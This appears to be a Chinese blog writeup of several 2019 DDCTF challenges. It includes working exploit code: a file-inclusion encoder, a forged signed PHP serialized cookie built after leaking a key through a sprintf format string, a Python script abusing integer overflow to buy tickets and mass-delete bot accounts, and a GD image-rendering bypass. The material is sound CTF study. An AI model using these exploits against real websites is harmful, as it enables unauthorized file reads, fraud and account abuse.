风之栖息地

2019DDCTF 部分我解决的题目writeup

字数统计: 2.1k阅读时长: 9 min
2019/04/19 Share

我得说DDCTF真的是脑洞太大,一言难尽。。。

滴~

文件包含,需要一些转换。转成hex值之后两次base64。

1
2
3
4
5
6
7
8
9
10
# -*- coding: utf-8 -*- 

import base64
import binascii

text = raw_input('text: ')
text = binascii.b2a_hex(text)

print text
print base64.b64encode(base64.b64encode(text))

拿到index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

<?php
/*
\* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
\* Date: July 4,2018
*/

error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
\* Can you find the flag file?
\*
*/
?>

sb的题目。。凸(艹皿艹 ) 最后是看其他人提示的practice.txt.swp,得到hint,flag的文件名为f1lg!ddctf.php。这样的话结合上面的替换就可以绕过正则的过滤。。。明显的为了出题而出题,强行构造的畸形题目。

最后提交f1lgconfigddctf.php,就能拿到源码。

之后看其他人的WP,才发现是通过源码中给的链接搜索到其他文章中的提示,在vi编辑器非正常退出之后会有swp文件残留,这文章就有一个例子。。。无力吐槽这个脑洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

<?php

include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
} else
{
echo'hello';
}
}
?>

好吧继续看hello,发现是空的,那么uid也为空就可以了,直接提交uid=,拿到flag。总结一下,sb的题目。

DDCTF{436f6e67726174756c6174696f6e73}

之后发现这里extract注册了变量,所以也可以用变量覆盖的思路来处理这道题。比如k设置成我们服务器上的某个文件,然后uid再设置成相应的值。

WEB 签到题

首先看到没有权限的提示,看了一遍文件,发现有ajax请求,然后它的ddctf_username设置为空,看来是要设置一个值才行,一开始以为是自己的用户名,最后试出来的admin,给了另外一个路径。

访问之后给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147

app/Application.php
<?php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}

private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) { // path长度必须为18 ....//././config/flag
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
?>

app/Session.php
<?php

include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key(); // ../config/key.txt 的内容
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name]; //ddctf_id
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32); // 最后32位为hash
$session = substr($session,0,strlen($session)-32); // 前面为session
if($hash !== md5($this->eancrykey.$session)) { // 做验证
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session); //触发反序列化读文件
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}

private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',

);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}

$ddctf = new Session();
$ddctf->index();
?>

这里的突破口在密钥上,一开始认为是利用hash扩展攻击,但是不对,后来经友人提醒才发现忘记了sprintf,这里有格式字符串问题。传入%s让格式字符串保持拥有%s,就可以拿到密钥了。

EzblrbNS,拿到之后我们就可以对数据做签名,来绕过hash验证。最后通过反序列化触发Application类的魔法函数,可以读取文件,path有一个限制长度必须为18。

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
Class Application {
var $path = '..././config/flag.txt';
}
$userdata = new Application();
$cookiedata = serialize($userdata);
echo $cookiedata;
echo "<br>";
$key = 'EzblrbNS';
$hash = md5($key.$cookiedata);
echo urlencode($cookiedata.$hash);
?>

这里考虑到preg_replace可以采用递归写法绕过,同时结合源代码分析,我们就知道只要绕过hash验证就能随意反序列化,为了让代码更加简洁,我们只需要生成Application对象,并且让path为flag路径就可以了。

最后代入cookie,提交请求,可以看到flag。

大吉大利,今晚吃鸡~

第一步是要通过整数溢出让价格的值变成0,这样我们就可以0元购买了。这里其实如果校验的时候小心一点,应该是不会出现这种情况的。但是我在测试的时候也没有完全测试好,整数溢出后是会变成最小负数,然后开始不断增加。所以这里最后的value4294967296

之后就是注册用户,买票,拿到ticket和id,删除用户,这里比较坑的是要看删除用户的id,每个id都要删一次,所以到最后会特别慢。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests 
import json
import re
import time
my_header = {
'Cookie': 'user_name=whz1; REVEL_SESSION=785438359f65951fe7d8314e77e4f846',
'Accept': 'application/json'
}

def create_user_delete(username, password):
register_url = 'http://117.51.147.155:5050/ctf/api/register?name={}&password={}'.format(username, password)
buy_url = 'http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
r = requests.get(register_url)
re_result = re.match(r'user_name=(.*?); .*REVEL_SESSION=(.*?); .*', r.headers['Set-Cookie'])
bot_headers = {
'Cookie': 'user_name={}; REVEL_SESSION={}'.format(re_result.group(1), re_result.group(2)),
'Accept': 'application/json'
}
print '[*] buy chiji ticket .......'
bill_info = requests.get(buy_url, headers=bot_headers)
bill_id = json.loads(bill_info.content)['data'][0]['bill_id']
pay_url = 'http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}'.format(bill_id)
print '[*] pay chiji ticket .......'
time.sleep(1)
ticket_info = requests.get(pay_url, headers=bot_headers)
bot_id = json.loads(ticket_info.content)['data'][0]['your_id']
bot_token = json.loads(ticket_info.content)['data'][0]['your_ticket']
delete_url = 'http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(bot_id, bot_token)
print '[*] delete bot user ......'
my_info = requests.get(delete_url, headers=my_header)
return my_info.text

for n in range(0, 700):
name = 'ppzllac' + str(n)
passwd = '12345678'
print create_user_delete(name, passwd)

Upload IMG

一道上传题目,但是不是传统的上传,没有服务器解析漏洞,没有后端验证绕过,这里是要求上传的图片中包含phpinfo。一开始我完全懵逼,用的思路是之前GoogleCTF的思路,将字符串用PIL库填充进去,发现上传之后还是提示没有phpinfo。

之后在友人的提醒下,看了https://paper.seebug.org/387/,还有https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg。这两篇文章知道了,这里的考点是GD渲染绕过的问题,再加上我们重新下载渲染过的图片之后发现图片首部由GD的标志。

这里一开始是直接用的seebug中的脚本,但是我们发现脚本生成的图片再次渲染之后还是会让phpinfo()中的尾部字符串被解析成乱码。之后想到先上传一次文件,先让GD渲染一次把渲染的图片下载下来,这样再利用下载的文件就让渲染修改的地方不会有很多,最后是一次就成功了。

wireshark

从流量数据包中能够发现三张图片,其中有两张是可以从网上直接下载得到的。还有一张是只能从数据包中提取得到。从中拿到之后一开始是无法显示的损坏png图像,需要修复png的图片头部和尾部才能正常使用。

然后就是常见的套路了,修改图片的长度高度,这里是得到了一串key,再结合流量包中的解密网址就可以对图片完成解密,拿到加密的数据。

解密网址 http://tools.jb51.net//aideddesign/img_add_info

加密数据flag+AHs-44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D+AH0-

这是一个base64+hex数据,hex解密之后就是flag了。

CATALOG
  1. 1. 滴~
  2. 2. WEB 签到题
  3. 3. 大吉大利,今晚吃鸡~
  4. 4. Upload IMG
  5. 5. wireshark